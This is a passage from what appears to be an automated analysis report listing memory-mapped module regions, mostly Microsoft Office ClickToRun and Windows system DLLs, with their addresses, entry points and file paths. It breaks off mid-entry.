"appvfilesystemmetadata.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll") Region: id = 5355 start_va = 0x7fef51d0000 end_va = 0x7fef5329fff monitored = 0 entry_point = 0x7fef528565c region_type = mapped_file name = "appvisvsubsystemcontroller.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll") Region: id = 5356 start_va = 0x7fef5330000 end_va = 0x7fef5539fff monitored = 0 entry_point = 0x7fef542b0a0 region_type = mapped_file name = "appvintegration.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll") Region: id = 5357 start_va = 0x7fef5540000 end_va = 0x7fef55ccfff monitored = 0 entry_point = 0x7fef5580cc4 region_type = mapped_file name = "appvisvvirtualization.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll") Region: id = 5358 start_va = 0x7fef55d0000 end_va = 0x7fef5671fff monitored = 0 entry_point = 0x7fef561988c region_type = mapped_file name = "appvcatalog.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll") Region: id = 5359 start_va = 0x7fef5680000 end_va = 0x7fef57aefff monitored = 0 entry_point = 0x7fef56df2a4 region_type = mapped_file name = "appvmanifest.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll") Region: id = 5360 start_va = 0x7fef57b0000 end_va = 0x7fef57e5fff monitored = 0 entry_point = 0x7fef57bdaa0 region_type = mapped_file name = "appvisvstreamingmanager.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll") Region: id = 5361 start_va = 0x7fef57f0000 end_va = 0x7fef58d9fff monitored = 0 entry_point = 0x7fef585ca10 region_type = mapped_file name = "appvorchestration.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll") Region: id = 5362 start_va = 0x7fef58e0000 end_va = 0x7fef59cefff monitored = 0 entry_point = 0x7fef59029cc region_type = mapped_file name = "msvcr120.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll") Region: id = 5363 start_va = 0x7fef59d0000 end_va = 0x7fef5a75fff monitored = 0 entry_point = 0x7fef5a1efec region_type = mapped_file name = "msvcp120.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll") Region: id = 5364 start_va = 0x7fef5a80000 end_va = 0x7fef5bbefff monitored = 0 entry_point = 0x7fef5ae05e4 region_type = mapped_file name = "appvpolicy.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll") Region: id = 5365 start_va = 0x7fef5bc0000 end_va = 0x7fef5c34fff monitored = 0 entry_point = 0x7fef5bed4f0 region_type = mapped_file name = "appvisvapi.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll") Region: id = 5366 start_va = 0x7fef5cb0000 end_va = 0x7fef5d20fff monitored = 0 entry_point = 0x7fef5d0e844 region_type = mapped_file name = "msdelta.dll" filename = "\\Windows\\System32\\msdelta.dll" (normalized: "c:\\windows\\system32\\msdelta.dll") Region: id = 5367 start_va = 0x7fef5d30000 end_va = 0x7fef5e34fff monitored = 0 entry_point = 0x7fef5d3dae8 region_type = mapped_file name = "streamserver.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll") Region: id = 5368 start_va = 0x7fef5e50000 end_va = 0x7fef6157fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mso40uires.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll") Region: id = 5369 start_va = 0x7fef6160000 end_va = 0x7fef61d3fff monitored = 0 entry_point = 0x7fef61666f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 5370 start_va = 0x7fef61e0000 end_va = 0x7fef62c1fff monitored = 0 entry_point = 0x7fef625d90c region_type = mapped_file name = "d2d1.dll" filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll") Region: id = 5371 start_va = 0x7fef62d0000 end_va = 0x7fef6bbafff monitored = 0 entry_point = 0x7fef63d5a48 region_type = mapped_file name = "mso40uiwin32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll") Region: id = 5372 start_va = 0x7fef6bc0000 end_va = 0x7fef7037fff monitored = 0 entry_point = 0x7fef6c39154 region_type = mapped_file name = "mso30win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll") Region: id = 5373 start_va = 0x7fef7040000 end_va = 0x7fef7343fff monitored = 0 entry_point = 0x7fef70e6094 region_type = mapped_file name = "mso20win32client.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll") Region: id = 5374 start_va = 0x7fef7350000 end_va = 0x7fef736afff monitored = 0 entry_point = 0x7fef7351198 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 5375 start_va = 0x7fef7370000 end_va = 0x7fef7399fff monitored = 0 entry_point = 0x7fef7375b40 region_type = mapped_file name = "apiclient.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll") Region: id = 5376 start_va = 0x7fef73a0000 end_va = 0x7fef73d2fff monitored = 0 entry_point = 0x7fef73c435c region_type = mapped_file name = "rstrtmgr.dll" filename = "\\Windows\\System32\\RstrtMgr.dll" (normalized: "c:\\windows\\system32\\rstrtmgr.dll") Region: id = 5377 start_va = 0x7fef73e0000 end_va = 0x7fef73e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-utility-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll") Region: id = 5378 start_va = 0x7fef73f0000 end_va = 0x7fef73f2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-environment-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll") Region: id = 5379 start_va = 0x7fef7400000 end_va = 0x7fef7402fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-filesystem-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll") Region: id = 5380 start_va = 0x7fef7410000 end_va = 0x7fef7412fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-time-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll") Region: id = 5381 start_va = 0x7fef7420000 end_va = 0x7fef7424fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-multibyte-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll") Region: id = 5382 start_va = 0x7fef7430000 end_va = 0x7fef7434fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-math-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll") Region: id = 5383 start_va = 0x7fef7440000 end_va = 0x7fef7442fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-locale-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll") Region: id = 5384 start_va = 0x7fef7450000 end_va = 0x7fef74edfff monitored = 0 entry_point = 0x7fef7499d40 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll") Region: id = 5385 start_va = 0x7fef74f0000 end_va = 0x7fef74f3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-convert-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll") Region: id = 5386 start_va = 0x7fef7500000 end_va = 0x7fef7503fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-stdio-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll") Region: id = 5387 start_va = 0x7fef7510000 end_va = 0x7fef7512fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-heap-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll") Region: id = 5388 start_va = 0x7fef7520000 end_va = 0x7fef7523fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-string-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll") Region: id = 5389 start_va = 0x7fef7530000 end_va = 0x7fef7532fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l1-2-0.dll") Region: id = 5390 start_va = 0x7fef7540000 end_va = 0x7fef7542fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-processthreads-l1-1-1.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-processthreads-l1-1-1.dll") Region: id = 5391 start_va = 0x7fef7550000 end_va = 0x7fef7552fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 5392 start_va = 0x7fef7560000 end_va = 0x7fef7562fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-localization-l1-2-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-localization-l1-2-0.dll") Region: id = 5393 start_va = 0x7fef7570000 end_va = 0x7fef7572fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-file-l2-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll") Region: id = 5394 start_va = 0x7fef7580000 end_va = 0x7fef7582fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-timezone-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll") Region: id = 5395 start_va = 0x7fef7590000 end_va = 0x7fef7681fff monitored = 0 entry_point = 0x7fef7599060 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll") Region: id = 5396 start_va = 0x7fef7690000 end_va = 0x7fef7693fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 5397 start_va = 0x7fef76a0000 end_va = 0x7fef76b6fff monitored = 0 entry_point = 0x7fef76ac440 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\vcruntime140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vcruntime140.dll") Region: id = 5398 start_va = 0x7fef9460000 end_va = 0x7fef9775fff monitored = 0 entry_point = 0x7fef9463e98 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 5399 start_va = 0x7fefa1c0000 end_va = 0x7fefa266fff monitored = 0 entry_point = 0x7fefa1d050c region_type = mapped_file name = "dxgi.dll" filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll") Region: id = 5400 start_va = 0x7fefa870000 end_va = 0x7fefa87afff monitored = 0 entry_point = 0x7fefa871198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5401 start_va = 0x7fefa880000 end_va = 0x7fefa8a6fff monitored = 0 entry_point = 0x7fefa8898bc region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5402 start_va = 0x7fefa9e0000 end_va = 0x7fefa9f4fff monitored = 0 entry_point = 0x7fefa9e60d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 5403 start_va = 0x7fefae70000 end_va = 0x7fefae83fff monitored = 0 entry_point = 0x7fefae716b4 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 5404 start_va = 0x7fefae90000 end_va = 0x7fefaea4fff monitored = 0 entry_point = 0x7fefae91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 5405 start_va = 0x7fefaeb0000 end_va = 0x7fefaebbfff monitored = 0 entry_point = 0x7fefaeb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 5406 start_va = 0x7fefaec0000 end_va = 0x7fefaed5fff monitored = 0 entry_point = 0x7fefaec11a0 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 5407 start_va = 0x7fefaff0000 end_va = 0x7fefb000fff monitored = 0 entry_point = 0x7fefaff1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 5408 start_va = 0x7fefb190000 end_va = 0x7fefb1a7fff monitored = 0 entry_point = 0x7fefb191130 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 5409 start_va = 0x7fefb350000 end_va = 0x7fefb564fff monitored = 0 entry_point = 0x7fefb5264b0 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll") Region: id = 5410 start_va = 0x7fefb620000 end_va = 0x7fefb813fff monitored = 0 entry_point = 0x7fefb7ac924 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 5411 start_va = 0x7fefbda0000 end_va = 0x7fefbdccfff monitored = 0 entry_point = 0x7fefbda1010 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 5412 start_va = 0x7fefbf70000 end_va = 0x7fefbf7bfff monitored = 0 entry_point = 0x7fefbf71064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 5413 start_va = 0x7fefc150000 end_va = 0x7fefc16dfff monitored = 0 entry_point = 0x7fefc1513b8 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 5414 start_va = 0x7fefc2a0000 end_va = 0x7fefc2a9fff monitored = 0 entry_point = 0x7fefc2a3cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 5415 start_va = 0x7fefc3a0000 end_va = 0x7fefc3e6fff monitored = 0 entry_point = 0x7fefc3a1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 5416 start_va = 0x7fefc4c0000 end_va = 0x7fefc51afff monitored = 0 entry_point = 0x7fefc4c6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 5417 start_va = 0x7fefc6a0000 end_va = 0x7fefc6b7fff monitored = 0 entry_point = 0x7fefc6a3b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 5418 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 5419 start_va = 0x7fefc840000 end_va = 0x7fefc88ffff monitored = 0 entry_point = 0x7fefc8411e0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 5420 start_va = 0x7fefcba0000 end_va = 0x7fefcbc2fff monitored = 0 entry_point = 0x7fefcba1198 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 5421 start_va = 0x7fefcc40000 end_va = 0x7fefcc4afff monitored = 0 entry_point = 0x7fefcc41030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 5422 start_va = 0x7fefcc70000 end_va = 0x7fefcc94fff monitored = 0 entry_point = 0x7fefcc79658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 5423 start_va = 0x7fefcca0000 end_va = 0x7fefccaefff monitored = 0 entry_point = 0x7fefcca1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 5424 start_va = 0x7fefcd50000 end_va = 0x7fefcd8cfff monitored = 0 entry_point = 0x7fefcd518f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 5425 start_va = 0x7fefcd90000 end_va = 0x7fefcda3fff monitored = 0 entry_point = 0x7fefcd910e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 5426 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 5427 start_va = 0x7fefce50000 end_va = 0x7fefce5efff monitored = 0 entry_point = 0x7fefce51020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 5428 start_va = 0x7fefce60000 end_va = 0x7fefcecbfff monitored = 0 entry_point = 0x7fefce62780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5429 start_va = 0x7fefced0000 end_va = 0x7fefcf05fff monitored = 0 entry_point = 0x7fefced1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 5430 start_va = 0x7fefcf10000 end_va = 0x7fefcf29fff monitored = 0 entry_point = 0x7fefcf11558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 5431 start_va = 0x7fefcf30000 end_va = 0x7fefcf6afff monitored = 0 entry_point = 0x7fefcf31324 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 5432 start_va = 0x7fefcf70000 end_va = 0x7fefd0dcfff monitored = 0 entry_point = 0x7fefcf710b4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 5433 start_va = 0x7fefd180000 end_va = 0x7fefd382fff monitored = 0 entry_point = 0x7fefd1a3330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5434 start_va = 0x7fefd390000 end_va = 0x7fefd3bdfff monitored = 0 entry_point = 0x7fefd391010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5435 start_va = 0x7fefd3c0000 end_va = 0x7fefd49afff monitored = 0 entry_point = 0x7fefd3e0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 5436 start_va = 0x7fefd4a0000 end_va = 0x7fefd5ccfff monitored = 0 entry_point = 0x7fefd4eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5437 start_va = 0x7fefd5d0000 end_va = 0x7fefd640fff monitored = 0 entry_point = 0x7fefd5e1e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5438 start_va = 0x7fefd650000 end_va = 0x7fefd758fff monitored = 0 entry_point = 0x7fefd651064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5439 start_va = 0x7fefd760000 end_va = 0x7fefd7b1fff monitored = 0 entry_point = 0x7fefd7610d4 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 5440 start_va = 0x7fefd7c0000 end_va = 0x7fefd996fff monitored = 0 entry_point = 0x7fefd7c1010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 5441 start_va = 0x7fefda20000 end_va = 0x7fefda86fff monitored = 0 entry_point = 0x7fefda2b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5442 start_va = 0x7fefda90000 end_va = 0x7fefda9dfff monitored = 0 entry_point = 0x7fefda91080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 5443 start_va = 0x7fefdaa0000 end_va = 0x7fefdaa7fff monitored = 0 entry_point = 0x7fefdaa1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5444 start_va = 0x7fefdb50000 end_va = 0x7fefdbe8fff monitored = 0 entry_point = 0x7fefdb51c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 5445 start_va = 0x7fefdbf0000 end_va = 0x7fefdcb8fff monitored = 0 entry_point = 0x7fefdc6a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 5446 start_va = 0x7fefdcc0000 end_va = 0x7fefdd96fff monitored = 0 entry_point = 0x7fefdcc3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5447 start_va = 0x7fefdda0000 end_va = 0x7fefddecfff monitored = 0 entry_point = 0x7fefdda1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5448 start_va = 0x7fefddf0000 end_va = 0x7fefeb77fff monitored = 0 entry_point = 0x7fefde6cebc region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 5449 start_va = 0x7fefeb80000 end_va = 0x7fefeb9efff monitored = 0 entry_point = 0x7fefeb860e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: 